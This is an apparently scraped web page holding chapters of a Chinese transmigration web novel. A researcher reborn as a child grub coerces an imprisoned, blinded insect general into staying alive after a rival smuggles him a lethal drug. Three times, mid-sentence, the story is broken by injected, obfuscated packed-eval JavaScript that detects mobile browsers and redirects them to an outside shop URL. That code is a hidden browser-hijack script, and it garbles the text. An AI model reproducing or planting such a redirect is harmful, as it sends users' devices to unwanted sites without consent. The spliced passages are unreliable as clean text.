瑞德说着,目光扫过操作台上的白发雌虫,又似乎被他空无一物的目光骇到,匆匆挪开视线: “真不知道您怎么会愿意和这样危险的实验体打交道,他在角斗场上的表现您也看到了,凶残、暴虐,和星兽有什么不同?其实您不如把他早处理掉,我那里有很多更有价值的实验体,他们的基因有所变异,十分有趣,您随时可以去挑选,代替这个老旧的残次品。” 虫崽深深皱起眉。 他的心是极度恼火的,瑞德的话有诸多反人类的成分,但落在他身后的那道来自阿克斯的空洞目光,又让他镇定下来。 “实验体x010对我来说有特殊意义,我会留着他,确保他不死。” 他回答,一方面也让他背后的雌虫听到这句话,寄希望于雌虫因此平静些许。 “这样。” 瑞德似乎有什么难言之隐,同样年轻的雄虫皱着眉,停顿片刻开口道: “您对角斗场上的赛事怎么看呢?您今天赢了一笔巨款,这是好事,但恐怕您会让您的兄长瓦利不高兴,他为了赢回那些钱,会邀请您参加更多的赛事,您会喜欢吗?” 还没等沃伦回答,瑞德先苦笑道: “实不相瞒,我不是很喜欢您瓦利研究员的赛事,那些凶暴的雌虫让我不太舒服,我想您也一样,是吗?您气色不太好。” 说沃伦气色不好纯属客气,他敢笃定自己在角斗场时脸色苍白如纸。 “并不很适应。” 沃伦谨慎地说,而瑞德立刻眼睛一亮: “既然如此,您也不会想要留着这样一个凶暴的雌虫吧!” 在虫崽警惕的目光里,他指向阿克斯的方向: “我可以帮您处理他。毕竟您也知道他的情况,他绝对无法为您赢下一场胜利了,现在处理他是最好的时机。” “你想怎么处理?” 沃伦眯起眼,仔细观察面前的雄虫。这是他第一次私下接触雄虫,比起瓦利,瑞德外观更像个人类青年,平凡、胆怯,仿佛没被这个扭曲的社会同化得太厉害。 “实验体已经完全损坏了。” 瑞德说:“我倾向于用干脆的处理方式处理掉他。您也知道,鉴于他的身份,亲王阁下肯定是会问询的,我会替您写报告,免除您的麻烦。” 见沃伦仍然不为所动,瑞德有些急切: “您也知道,他身份特殊,每多活一天,都可能引起实验室其他实验体的躁动。实不相瞒,在亲王阁下病退后,我的实验室里得到了几个很好的实验体,是他的旧部。他的存在让那些实验体很不配合,折损率极高,影响了实验结果...” 瑞德向实验台的方向走了几步,沃伦的精神触须蠢蠢欲动,但实验台上的雌虫却冷静至极,仿佛被谈论生死的不是他一样。 “可以了,” 大致了解瑞德的来意,沃伦冷下脸色,变声器合成的声音十分阴森低沉,裹挟着浓厚的占有欲: “他是我的实验体,轮不到你来决定他的生死。” 8. 对一个胖崽进行身材羞辱? 瑞德虽然是平民出身,但是这些年教会在帝国搞了很多雄虫平权运动,主旨大概是雄虫的力量并非来自血脉,而是母神的直接赠与,所有雄虫都是神子之流的内容。 在民间,教会的声望远远压过皇室,而瑞德本人的精神力也有b级,是平民雄虫中的佼佼者,也是教会着力扶持的对象,年纪轻轻成为帝国研究院的高级研究员,职位上和沃伦是平级,不需要看沃伦这个皇室旁枝,没有继承权的子弟的眼色。 他今日的态度足够谦卑,要求也只是微不足道的事,偏偏被拒绝得如此彻底,脸色当即也难看起来。 沃伦才不管他脸色好看还是难看,踩在高高的外骨骼上,沃伦俯视着瑞德,身后两条精神触须如同巨蟒一样缓慢的游弋,逐客之意显而易见。 瑞德忍了又忍,疏忽也放出两条绿色的精神触须。骤然出现的高维度力量击飞了实验台上零零散散的小玩意儿,原本整洁的实验室一片杂乱。 瑞德这个虫看着斯斯文文的,谁知道说发难就发难,胖虫崽的心脏骤停,僵硬地站在原地,看似胸有成竹,其实已经走了一会儿了。 他的等级比瑞德高了半级,真的打起来未必会落下风,但是他几个小时前才刚刚放出精神力,就这样跟本土雄虫拼刺刀,也太难为科研人员了。 但无论如何,沃伦没有挪动阵地,仍然牢牢守住了瑞德通往阿克斯面前的道路。他不允许阿克斯在他眼前被瑞德伤害,更不会允许阿克斯的性命被莫名其妙的原因剥夺。 “你想做什么?这可是帝国研究院!这就是下等虫的教养吗?” 沃伦学着原主的腔调说话,身后两条金红的精神触须随着主人的驱使,终于不再暗戳戳地接近操作台上被等离子壁禁锢的雌虫,而是游向威胁,原本发出的黯淡光芒也开始强盛,让实验室的温度都陡然升高。 场面一触即发,可谁知这时,方才还恼羞成怒似的瑞德面露惊恐的神色,接连后退几步: “抱歉,” 他向沃伦的方向鞠躬: “今天是我冒昧了,改日一定送来让您满意的赔礼。抱歉。” 他说着,将绿色的精神触须收了回去,整个虫也迅速消失在门后。 “?” 沃伦小小的脑袋打出一个大大的问号,只觉得瑞德这个人疯疯癫癫的。 他转身看向全程都默不作声,只悄悄捏紧拳头的阿克斯,让实验室里的机器人复原被损坏的设施和器械,在看了主脑回报的损毁清单时,肥胖的幼崽才缓缓皱眉。 不对。 在刚刚突然爆发又转瞬即逝的冲突里,实验室的损毁率很低,不,是几乎没有。这说明瑞德在被拒绝且恼羞成怒地发癫的同时,还保持了绝对勤俭的习惯,没有对任何昂贵的仪器痛下杀手。 要么,瑞德是个发癫不忘节俭的三好雄虫,要么,他的发癫就是假的,目的也不是在实验室里动手。 想清楚这一点,沃伦小狗似的金色眼眸睁大了。他驾驶外骨骼,缓缓站在了实验台面前。 和等离子壁中的实验体四目相对。 雌虫灰色的眸子没有任何光亮,却仍然机警地转向沃伦的方向,一张毫无血色的面容甚至爬着青灰色的纹路,那是断裂损毁的能量通路留下的灼伤。 所有的迹象都表明,雌虫已经处于强弩之末,但他的背脊仍然是挺直的,手指在剧痛之中无法控制地发抖,双唇却没有发出一丝声响。 他盯着沃伦,就像逼至绝境的母兽盯着敌人。 除了...目光落下的位置不太对。 在他冷硬的目光中,虫崽有些不好意思地吸了吸自己鼓出来的胖肚子。 沃伦当然知道阿克斯并非对一个胖崽进行身材羞辱,他只是看不见,若非如此,沃伦也没有底气在对方面前装成年雄虫。 踩着外骨骼、带着变声器不是不麻烦,唯一的好处大概是刚刚没有被阿克斯一手刀切成两半,但沃伦又有什么选择呢?他总不能用虫崽细细嫩嫩的嗓音要求上任阿克斯的雄主! 那也太变态了。 用虫崽的身体当反派炮灰,就仿佛用学弟学妹东拼西凑的论文投顶刊,若不是苦命研究生习惯了这种东拼西凑的生活,他肯定要跟系统掰扯掰扯一个187的成年人变成四头身的难处。 “藏的东西拿出来吧。” 虫崽低声说。 如果瑞德的初衷不是为了发癫,那么他的行为便别有所图。整个空间里除了沃伦,就只剩下沉默不语的阿克斯。 阿克斯的眼睫垂下来,浅白色的睫毛在他苍白的脸上留下蝶翼一般轻柔的痕迹。虫崽的心跳陡然加快,砰砰撞着他的胸骨,这种感觉是实验室的疲惫社畜从未有过的。 即便方才还差点儿被眼前的雌虫切成两段,虫崽还是像被蛊惑一般直直望着囚牢中的白发雌虫。 雌虫实在没有处于一种良好的状态,他的面容爬满灰色的裂痕,将他刚毅典雅的面容分割得细碎,简陋的实验服掩盖不住他宽阔的肩和伤痕遍布的身体,背后翅鞘的陈年旧伤又在渗血,呈现不详的黑紫。 他的身体,白到了极致,也因为创口浓艳到了极点。他端坐在被等离子壁围绕的操作台上,像被装进玻璃匣子的蝴蝶,裹挟着来自北地凛冽的冰雪,每一分每一秒都在挑战人类的固有认知。 沃伦从来欣赏不了支离破碎的病态美学,直到此刻,他才从色彩中体会到心脏撕裂的剧震。 “我刚刚差点儿杀了你。” 阿克斯说: “如果有机会,我仍然会毫不犹豫地杀了你。我不会再失手。” 沃伦的渺小的心脏在胸腔里跳动,几乎发出急迫的嗡鸣。在精密操作的实验中都保持波澜不惊的他突然感到眩晕,他不太确定一个人是否应该对谋杀宣言露出这样的反应。 大概是他这具身体的毛病。 思索了0.01秒,沃伦天才的大脑盖棺定论。他定了定神,没有理会阿克斯的话,反而放出精神触须,用突触探入等离子壁。 几乎牢不可破的等离子壁在精神触须面前形同虚设,金红色的触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472117|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须几乎迫不及待地进入雌虫的牢笼,如同粗壮的水蟒。 白发雌虫立刻察觉了危险的到来,他似乎对雄虫的精神触须并不陌生,了解那种无法对抗的高维力量,也知道它会对自己造成的痛苦——那些痛苦是直接作用于精神、甚至灵魂的,没有任何一个精神正常的雌虫和亚雌敢于直面。 雌虫抿起唇角,竭尽全力维持着脊背的挺直,像抓住命绳一样牢牢握住仅存的尊严。 可是,他只感到了痒。 某种圆滑的触感从他青筋凸起的粗糙手背上传来,一下,两下。 两手难握的蟒状物虚虚圈住他的手腕儿,圆滑的突触往他握紧的拳头里钻。阿克斯的手背上全是伤,几道划痕深可见骨,鲜血流尽,裸露着发粉肿胀的白肉,可是那触须却小心得紧,一点儿也没有拉扯伤口,造成疼痛。 阿克斯从不知道雄虫的精神触须是这样......有灵性。大多数时候,精神触须只是雄虫惩罚或杀死雌虫的工具,少有的时候,雄主会为雌君或者雌侍安抚濒临崩溃的精神海,而那通常需要雌虫和亚雌付出难以想象的代价。 阿克斯被精神触须攻击过,不止一次。那种痛苦是让他怀疑自己的灵魂被撕裂成几瓣,不知还能不能粘合起来的程度,唯有这次,来自雄虫的精神触须带来的不是痛苦。 来自高维度的力量神鬼莫测,像无尽的深渊和焚烧的行星一样危险,但当它真的考得很近,而阿克斯也没有感到痛苦的时候,他似乎察觉到了它的情绪。 那是一种暖洋洋的、动物幼崽一般无害的亲近,它正贴着他的手腕儿,粗壮的触须表面凭空生出许多突触,最大范围地轻抚他的皮肤。那力道比羽毛还轻,像冬日的阳光落在他的掌心。 阿克斯愣住了。他感受这种渗入灵魂的,古怪的暖意,不太确定自己是否被注射了一种致幻剂。 而与此同时,他握紧的双拳在触须的轻抚下松懈了,一丝鲜血流出来,被莫名的力量仔细抹去,与此同时,一只亮银色的药剂从他手指间滑落。 另一根企图缠绕阿克斯脚踝但贼心不足的触须缴获了那瓶药剂,穿过等离子壁的屏障,递到了沃伦手上。 沃伦伸出机械臂拖住药剂,用自己的光脑快速分析,很快得到了一个冗长的药名。 盘陀巴比妥,一种快速致死的药剂,他手中的摄入量能让十头大象安乐死。 沃伦脸色难看至极。此刻,他纵是个来自地球、被导师欺压的实验室搬砖人也怒了!他立刻想冲出实验室,挥舞着他刚刚长出的精神触须找该死的瑞德算账,用两条触须轮番询问对方为什么要杀自己的雌虫! 只有瑞德实验室的实验体才珍贵吗,只有对方的实验体要活吗?阿克斯才是最重要的雌虫,对这个世界举足轻重的人物,甚至有穿越者为他而来(虽然是来当炮灰的),对方的实验体有吗?! 等等—— 情绪上头,瑞德方才说过的话在沃伦脑海里滚动着,他意识到哪里不对劲。 为什么阿克斯留下了瑞德的致死药剂? 9. 邪恶炮灰崽正式上线! ——为什么阿克斯留下了药剂?他想死吗? 这个关键的问题让沃伦的情绪迅速冷却了下来,他藏在外骨骼后的小手冰凉,几乎快和金属一个温度了。 即便沃伦还没有时间了解阿克斯的生平和灵魂,但他通过角斗场的惊鸿一瞥,和自己差点儿被斩成两半的经历,多少能猜到阿克斯的性格。 对方不是一个能轻易走入良夜的虫。换句话说,他很倔强,哪怕身披荆棘,满身瘀伤,前途无光,但他也没有放弃。 实际上,系统口中含糊的剧情也证明了这一点。在炮灰“沃伦”的羞辱和折磨下,阿克斯不但没有日渐消弭,反而焚尽骨血中的潜能,将整个帝国研究院付之一炬,将皇族的秘密实验和丑闻公之于众。 沃伦前世也只是一个平凡人,即便天赋异禀,但在败坏的学术风气和导师无底线的压榨下,活得甚至有些窝囊。给他十个胆子,他也做不出像阿克斯一样的勇敢之举,但他可能比畸形的虫族世界里其他虫更能理解阿克斯的顽固和坚持。 而这样顽固不化的雌虫,在刚刚刺杀沃伦之后,竟然选择偷藏起瑞德的药剂? 虫崽不仅后怕和恐惧,甚至有些委屈。方才瑞德的行踪诡谲,和阿克斯仿佛配合好了似的,若不是沃伦警觉,阿克斯的身体可能都凉了! 虫崽的情绪通过精神触须传递过去,巨蟒立刻将阿克斯缠得更紧了,仿佛要将雌虫从头到脚包裹着,拖到没有虫能找到的异度空间私藏。 阿克斯的身体僵硬极了,他感受着触须爬过胸口的触感,在这怪异的亲密中冷声开口道: “放开。” 说完这两个字,他将毫无血色的唇抿紧,不肯再出任何声音了。虫崽踱步靠近,胖乎乎的小手贴在等离子壁上,深深看着阿克斯。 “我也控制不好它们。” 他坦诚地说,同时有些疲惫地叹口气,开诚布公道: “你接下瑞德的药剂,应该不是因为你们有什么私交或者你心甘情愿去死,而是因为他的那句话: ‘我的实验室里得到了几个很好的实验体,是他的旧部。他的存在让那些实验体很不配合,折损率极高,影响了实验结果...’。” 在白发雌虫微不可察地加快呼吸频率时,沃伦凝眉,狠下心继续。他的声音在变声器的作用下显得阴沉又冷酷: “他口中的实验体,是你曾经军中的下属吧?瑞德闯进我的实验室,不仅是为了劝说我,他是在向你传达信息,那就是你曾经的部将仍然在为你的存活而努力,这种无望的努力让他们反抗主虫,飞蛾扑火,而你很清楚,他们救不了你,所以在瑞德抛出药剂的时候,你选择藏起了药剂,因为你要为了他们去——” “死”字有些难以启齿,按理说不该这么难,虫崽却因心脏古怪的酸痛而停顿。 这具该死的身体大有问题。他想。 但这些话已经足够了,阿克斯冰冷的面容如同蜡像一样干涸,他的指尖儿轻轻颤抖,被金红色的触须不合时宜地圈住。 来自异度空间的力量似乎有它们自己的想法,金红的触须无师自通地加热,像个小太阳一样,让阿克斯僵冷的身体慢慢回温。 可雌虫无福消受这种暖意。在掌握他命运的,新任实验室主虫冷酷而洞察的声音中,他只觉得加倍寒凉,一切都在超出掌控,而面前雄虫的古怪让他打心底发寒。 “那是你的癔症。” 他快速而尽可能冷硬地说: “我只是受够了角斗场,受够了实验室,受够了你们。我想要死亡的理由还不够多吗?我知道,在你们雄虫编织的谎言里,我这样反叛的雌虫得不到母神和神子的青睐,进不了荣耀殿,死后只能沦为朝生暮死的虫豸,在地狱无限轮回,但我是阿克斯。” 他刚正而典雅的面目在裂纹中失去了原有的精致,却在残破种美得惊心动魄: “我不惧怕谎言,也不惧怕伪神的审判。” 虫崽张开小嘴,想要说些什么,却发现自己哑口无言。 他可以耍弄聪明,可以自诩洞察力十足,也可以用满不在乎的语气拆穿雌虫的假面,告知他,他的死亡不会有任何高尚的成分,死亡就是永远的消逝,甚至帝国已经将阿克斯这个名字从社会层面抹除了! 他可以这么做,但是他做不到。 沃伦一直以为自己的心麻木冷硬,相比于大多数连鸡都没杀过的现代人,他在实验室每天都面对许多被实验和病痛折磨的实验动物,在无形之中对生命和生死都有更平和的见解。 系统选择他来做眼下的任务,确实是有道理的,沃伦也相信自己面对“实验体”,心一定会很硬。 但他错了。 面对阿克斯这种连灵魂都纯白的战士,硬碰硬只会换来对方的玉碎瓦全,而小聪明和小伎俩也无处安放——沃伦总不能跪下求阿克斯别死,告诉对方自己被绑定了一个炮灰反派系统,必须以四头身对他做酱酱酿酿的不可描述后,保送他炸毁实验室吧? 就算阿克斯是个傻子,也不会相信一个雄虫口中的蠢话。 那对于沃伦来说,只剩下最后一种选项,那就是—— ——彻底披上炮灰反派的皮,做实令虫厌恶的,无所不用其极的嘴脸,强留阿克斯的性命。 这或许就是系统送任务者来做任务的初衷。站在阿克斯的视角,他虽有活下去的斗志,却没有活下去的理由,因为他呼吸的每一刻不仅全是痛苦、羞辱和折磨,更让他在乎的部将为了他而命悬一线。 站在阿克斯的视角上,他害死了很多虫,很多因他的叛逆、因他的执拗,因他的不屈服而死的虫,都是与他并肩作战、生死相依的手足。曾经的实验室负责人,沃伦的雄父阿尔蒙亲王就是用这些反叛者和军雌的性命挟持阿克斯的,这一点在沃伦看过的记录中清晰可见。 而新来的雄虫实验员对他有同样的“兴趣”,阿克斯可以想见未来因此而死的同僚,这磨灭了他最后的求生欲,如果他真的还有那种东西的话。 沃伦的出现,或者说反派炮灰的角色在剧情中是必不可少的,不是因为“他”对剧情有任何助力,只是因为“他”用阿克斯部下的命继续威胁阿克斯,让他活在这个充满痛苦的世界,才让阿克斯没办法求死,而是在无尽的折磨中等到机会,完成自己的“天命”。 可是这种天命,何其残忍,又何其狠毒呢? 想到这一点,沃伦越发觉得,系统的本意可能真如它所说的那样,拯救一个即将覆灭的文明。可是它的手段却简洁有效到冷酷,像是拧一颗螺丝那样确保命运按部就班地运行,机械心脏和数据血脉无法理解真实的苦痛和精神的折磨。 而沃伦作为任务者,本就没有太多信息和能力,去推算一套更皆大欢喜的方案。 他也不是一个勇敢的人,背负不了他自己性命之外的责任。但他的心确实冷硬,和大润发杀了十年鱼的杀鱼匠一样冷: “不愧是阿克斯。在你还被帝国铭记的时候,你的能量被称为‘纯白审判’,教会说这是对神明的公然挑衅,” 沃伦缓慢道: “可是你不敬神,你的部下和从属也不敬母神吗?你不向往荣耀殿的尊荣,宁愿在地狱里徘徊,你的部将也没有恐惧吗?” “他们因为你走上战场,反叛帝国,又进了帝国研究院,成为实验室的耗材。对,你可以说他们是自愿的,元帅阁下,可他们的命运真该如此吗?” “如果不是你,他们永远也不会生出反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472118|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抗的心思,如果不是你,他们可能已经进入某个雄虫的后宅,或许活得卑微且忍耐,但他们可能有一个虫蛋,一个延续他们未来的雌虫蛋,或者一个改变他们命运的雄虫蛋。” “他们或许沉默、卑微、被遗忘,但他们活着。而现在,他们就要死了,等你死掉之后,我会确保他们快些加入你的,元帅。” 残酷的声音在阿克斯耳边炸响,让雌虫的血浆迅速变冷。他惨白着脸孔,仿佛被绝对零度固定在时间里的白蝶,只需轻轻一碰,就会碎成粉末。 沃伦静静地看着他,能听到他的灵魂跌入深渊的绝望和死寂。那双已经被摧毁的、空洞的眼眸像灰烬一样融化,某种几乎称得上脆弱的神色在雌虫的脸上一闪而逝,让虫崽不由自主地靠近一步,几乎贴上了等离子壁。 他的触须更不矜持些,已经完全入侵了雌虫的私虫空间,紧紧贴着对方干涸的皮肤。 可雌虫并没有流露出更多破绽。正如他反复说的那样,他是阿克斯,如果这个畸形的社会还有脊梁,那就是他。 他并不在乎身上缠绕着的,意味不明的精神触须,即使满身伤痛,精神海伤痕累累,随时有坍塌的风险,仍然没有一丝软弱、哀嚎的痕迹。这非人般的忍耐力让沃伦紧皱眉头,因为他知道,忍耐疼痛和保持体面,都是极为消耗精力的事,而阿克斯根本没有任何精力可以被消耗。 他指挥机械臂,啪一声拍在等离子壁上,发出一声脆响。 操作台上的阿克斯勉力抬了抬眸子,神色中没有什么意外,只是沉默的等待命运和苦难降临在他身上。 “听我说完。” 虫崽被变声器扭曲的声音阴森道: “你会活下去,活在我的实验室里,和你的同僚们见面。如果你活得够久,他们也不会被推进实验废品的焚烧炉,或者成为角斗场上横陈的尸首。我会让你、和你的同僚恢复强盛,因为——” 虫崽短暂地卡壳儿了,但他很快找到了阿克斯不会怀疑的原因: “因为你今天帮我在角斗场上赢了一大笔钱,让我看看——7个亿,军雌总比其他实验室的耗材值得培养,是吧?我会让你们成为战力巅峰的角斗士,成为我的摇钱树。” 说着残忍的内容,虫崽却用金灿灿的小狗眼紧盯着阿克斯的反应,流露出他自己都不知道的紧张——和沃伦自我认知里冷酷无情的高大形象截然不同。 一秒,两秒,他的话起了效果,满脸灰败的阿克斯垂下眼睫,似乎在思索着什么,半晌后声音喑哑道: “多少钱,够买他们的命。” 见雌虫不再了无生趣,但求速死,沃伦紧绷的心脏终于重新开始跳动,他垂下了一双狗狗眼,抬高的幼崽音险些透过变声器,揭露他的真实情绪: “很多——你一时半会儿付不起。”他局里局气地挥挥小爪子,在系统的夸赞声中膨胀起来,对炮灰任务和养活阿克斯这两件事都胸有成竹。 瞧瞧,他刚才恶毒得仿佛一只真正的雄虫! 阿克斯眉梢抖动,似乎在忍耐什么,虫崽连忙迅速说: “也取决于你想救几条命,想救谁的命。” 阿克斯闷声咳嗽,一条精神触须殷勤地为他顺背,被他僵硬无比地躲开了: “进入帝国研究院,没有实验体能活着出去。” 他的声音平静,似乎接受了现实,但虫崽却敏锐地察觉到对方平静之下的惊涛骇浪和血海深仇。 再虚弱的猛兽仍然是猛兽,沃伦的寒毛都竖了起来,他看到自己被机械外骨骼包裹着的四头身倒影在对方的灰眸中,终于忍不住质问系统: “系统,你确定要我用这具身体虐待、羞辱、不可言说他吗?凭我跳起来能打到他的膝盖?” 10. 真假直男 此刻,沃伦的心率又飙上180,眼中只有阿克斯冷厉的模样。 说实话,作为一个年纪轻轻就从少年班保送大学,在实验室里干到研究生的研究型书呆子,沃伦从穿越到现在的临场发挥能力已经让他自己都感到意外了,而系统更是对他大加赞赏,对如此听话、如此卖力的宿主一通夸赞,生怕乖宿主像其他几个宿主一样叛逆: “宿主003,请您不要忧虑。高等雌虫虽然强悍,但你面前的任务对象已经失去了雌虫的力量源泉——翅翼。他的经脉已经枯竭了,能活到现在已经是天赋异禀,只要您不要像刚才一样突然撤掉等离子屏障,就绝对不会有被攻击的风险。” “...但我这具身体怎么回事?你们系统就不能给找个成年虫的身体吗?” “抱歉宿主,我们有严格的规章制度,不能强行剥夺本世界原住民的生命,也不能引起原住民的怀疑,增加时间线变更风险。您放心,虽然您的身体蜕变失败,只能维持幼崽状态,但雄虫的力量源于基因和灵魂,您的力量不受限制。一个能驾驭虫族母神力量的雄虫是十分强大的,只要您学会保护您脆弱的身体,巅峰时期的高等雌虫和亚雌无法动您分毫。” “至于剧情要求您成为阿克斯雄主,对他不可描述的内容,也是可以完成的。在虫族,帮助无能的雄虫完成不可描述和折磨雌虫的工具很多,如果您想要体验,我现在就可以连上主脑,帮您下单哦!” 沃伦本就因受惊和紧张苍白的小脸儿,在得到系统的“安慰”后更加苍白了,甚至还有点发绿。他连忙拒绝了系统的好意,努力挺了挺小肚子,维持着反派炮灰的威严。 说实在的,他觉得自己这个系统有点呆,实诚得有点过分了,像未经历练的初代人工智能,难怪之前的宿主想不听话就不听话。 它总是泄露一些关键信息,就比如方才,它自以为安慰的话其实让沃伦萝卜腿都软了。什么叫“阿克斯经脉枯竭,只要您不撤开等离子屏障,就不会有事?” 这不是在说,如果阿克斯是全盛的状态,等离子壁都能撕碎吗? 这还是人吗?!等等,雌虫本就不是人,他们简直像人形兵器,这让沃伦怎么不害怕?他又不是大傻子,连等离子壁的强度都不知道——这一般是用来做星球防护罩的! 而此刻,沃伦正隔着透明的等离子壁,跟一个人形兵器面对面,眼神直勾勾地盯着对方的灰色眸子,整个崽显得有点呆滞,但是他的声音在变声器的作用下,还是充满冷酷: “别的虫不可以,你一定可以。” 虫崽顿了顿,再次加码: “遵从我的指令,我让你和你的同僚团聚,在我的实验室里,没有实验体会无缘无故地死亡——那是外行才会造成的损失。” 说到自己的领域,沃伦心跳也放缓,胖乎乎的小下巴也扬起来了——在地球时,他是整个实验室里最会养小白鼠和菌群的,很多濒临死亡的实验犬送到他手上,他也能妙手回春,将它们疗愈成可以被领养的可爱模样。 阿克斯灰蒙蒙的目光看着他,平静的脸孔没什么表情,像终年不化的霜雪。 虫崽知道自己被无声的质疑和嘲弄了。他抿了抿唇,小小的胸口升起一股难言的斗志,心中对这个荒诞的炮灰任务有了一定实感。 他一定要养好阿克斯,用邪恶的形象逼迫他活下去,积蓄力量,并血洗帝国研究院。 到时候,雌虫绝不可能不将他放在眼里了。 但到了那时...虫崽肥嘟嘟的脸颊颤颤——他眼前的等离子壁就无法阻止阿克斯了,他将和这个帝国的战神,号称“纯白审判”的阿克斯面对面,直面正义对他这个邪恶炮灰的审判。 眼看心率直逼200,虫崽连忙退开几步,勒令自己的精神触须从阿克斯的身上撕下来,又去储藏室里翻找毯子、食物和能用得上的药剂。 触须殷勤地将东西裹住,通过等离子壁送进雌虫的手边儿。阿克斯的脸微微偏了偏,似乎察觉到什么,身体也更紧绷,但却仍然用空洞的目光“盯着”虫崽,充满防备。 胖虫崽压低声音,将炮灰反派的残酷彰显得淋漓尽致: “活着吧,除了顺从我,你还有别的选择吗?区区元帅,不过如此。” 说完,虫崽吸了吸容易被攻击的柔软肚子,扯回自己的仍然往雌虫身上粘的精神触须,离开了这件实验室,给雌虫留出休息的空间。 他看得出,雌虫对雄虫一点信任都没有,他的触须更是一头热,他不能继续出现在对方敏锐的感知范围内,会加速对方精神海和身体的崩溃。 再说这触须——虫崽用胖手扒拉怏怏不乐的触须,心中产生了疑惑——这玩意儿有自我意识吗?它们怎么这么喜欢阿克斯,不像自己,一见阿克斯心率就飙升,一看就是被吓得不轻。 “宿主,这是你的精神力量,是你的一部分。” 系统刚看到沃伦无懈可击的反派表演,正在兴头上,无差别夸赞道: “它们很聪明,更直白的表达您的喜好,您可以信任它们。” “系统,我不喜欢阿克斯,”虫崽一脸严肃:“我是个直男。” “直男?” 谁知,这两个字却让系统的声音陡然尖利起来: “什么直男,是前两个宿主那种会勾搭任务对象的直男吗?你们地球男性人类都是这种直男吗?” “?” 这次,就连聪明绝顶的沃伦都花了几秒,消化掉系统话中的信息。 他想,他好像知道为什么系统前几个宿主的任务都失败了,这让他一时有些哭笑不得: “系统,你放心,我不是那种‘直男’,地球人的性向是很多元化的,”沃伦解释: “我是真正的直男,实际上,我对寻找伴侣这个事情不是很感兴趣,更不要提寻找一个外形像地球希腊男神雕塑,实际是人形兵器的雌虫了。你大可不必担忧,我想对你表达的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472119|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我的触须并不完全代表我的意愿,它找阿克斯是它自己的喜好,和我无关。” 沃伦的解释让系统安静了好一会儿,沃伦几乎能感受到它在疯狂跑数据,分析模型解析他的话。 系统对人类宿主草木皆兵的样子让沃伦觉得好笑,冲淡了他见阿克斯的紧张和焦灼。他走向实验室,开始进行穿越来的第一个项目: 为阿克斯——为雌虫和亚雌研发止痛药。 在一个全新的宇宙上手研究,竟然比沃伦预计得快很多。他没了187的身高和长手长脚,但他的过目不忘和超强的分析能力跟了过来,与此同时,沃伦不得不承认,雄虫的精神触须简直是一种作弊利器,具备人类脑力远远无法企及的高度。 如果用地球人的方式去理解精神触须,它类似于魔法、神识、或者全知全能。 沃伦在彻底了解了精神触须的能力后,脸色反而开始难看了——他为这个世界雌虫和亚雌的命运担忧,更为阿克斯的反抗而忧虑。 这不是凡人能抵抗的力量,系统说的对,这确实是神力,即便阿克斯恢复到巅峰状态,成为人形兵器也无济于事,因为如果每个雄虫都掌握这样的力量,无论大小——他们就是行走人间的神。 但很快,沃伦冷静了下来,他开始意识到了问题所在——如果雄虫们都意识到了这一点,他们就不会惧怕阿克斯,或者忌惮雌虫和亚雌的反叛了。在原主的记忆里,他甚至没见过太多雄虫在大厅广众之下使用精神触须,除了惩罚雌虫和亚雌。 大多数雄虫的生活糜烂、颓废、对雌虫和亚雌的物理力量充满阴暗的恐惧,并将恐惧转化为了伤害他们的戾气。 这一切只说明了一点,那就是绝大多数雄虫对精神力的使用不明就里,也根本无法完全驾驭这种高纬度的力量。 他们不像传说中虫母的神子,而像一群盗取神力,耀武扬威却懦弱无耻的小偷。 想到这,沃伦悬着的心暂时放下了。也是,以大多数雄虫表现出来的智力水平,根本无法参透神力的来源,构成和使用方式,而沃伦也对前两者不感兴趣。他利用新得来的力量,如臂使指,很快就掌握了巨量的知识,并且对研究止疼药有了雏形。 他通过主脑下达指令,通知戴维等下级研究员替自己办一些杂事,没有理会对方感恩戴德的回复,沃伦继续埋首于止痛药的研发,很快合成了他想要的分子链。 一边等待合成,沃伦一边岔开短胖的萝卜腿坐在操作台上——并非他有意不体面,只是因为他的身体结构实在无法让他在坐下的同时并紧双腿——用小狗眼通过粒子摄像头观察阿克斯的动态。 雌虫仍然挺直腰背,靠坐在操作台上,他的手边儿放着软褥、药剂和营养剂,被沃伦的精神触须堆成一座小山。 除了营养剂,雌虫没动任何东西。营养剂是沃伦从实验室的仓库中找到的,供给雌虫和亚雌研究院的版本,其中包含了高等雌虫和亚雌一天所需的能量。 11. 大孝子来咯 这种取代进食的东西并非星际时代的快节奏产物,而是雌虫和亚雌被迫的选择。 他们从破壳起就被用营养剂喂养,雄虫政权认为,享受美食是雄虫专有的特权,而雌虫和亚雌只需要最快摄入能量,而没有坐下进食的资格。 